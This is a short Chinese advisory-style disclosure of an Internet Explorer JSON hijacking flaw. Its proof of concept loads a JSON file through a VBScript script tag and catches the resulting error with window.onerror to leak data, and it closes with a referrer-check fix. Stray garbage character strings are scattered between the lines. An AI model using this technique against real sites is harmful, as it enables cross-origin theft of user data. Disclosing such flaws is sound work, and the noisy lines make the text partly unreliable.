IE通用JSON劫持漏洞

admin

简要描述：
6 l! Y2 A1 r& x# [2 O3 |
由于某些资源容器对数据处理不当导致json劫持漏洞.
" G, P. ?- s4 S" u+ B详细说明：
: p- X3 O$ B/ @) n+ y( ^4 t由于ie支持vbscript,所以script元素可以指定成vbscript语言:
3 X( a* l) o0 l0 W<script language=vbscript></script>
8 V! x2 Z2 _, R% S+ g6 |, g, N
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
( N5 r- B! O5 {# {; w) x<script>
( g6 m- f* S" @1 M9 V0 owindow.onerror=function(_){
alert(_)
% |5 q. N6 b9 E) s}
) f3 g8 H9 A0 }5 Q; G</script>
<script language=vbscript src=1.json></script>


- c( y6 R# z! `- G' |' F1.json:
[{"name":"sogili","age":19}]
* n7 k( X0 m* y4 A修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御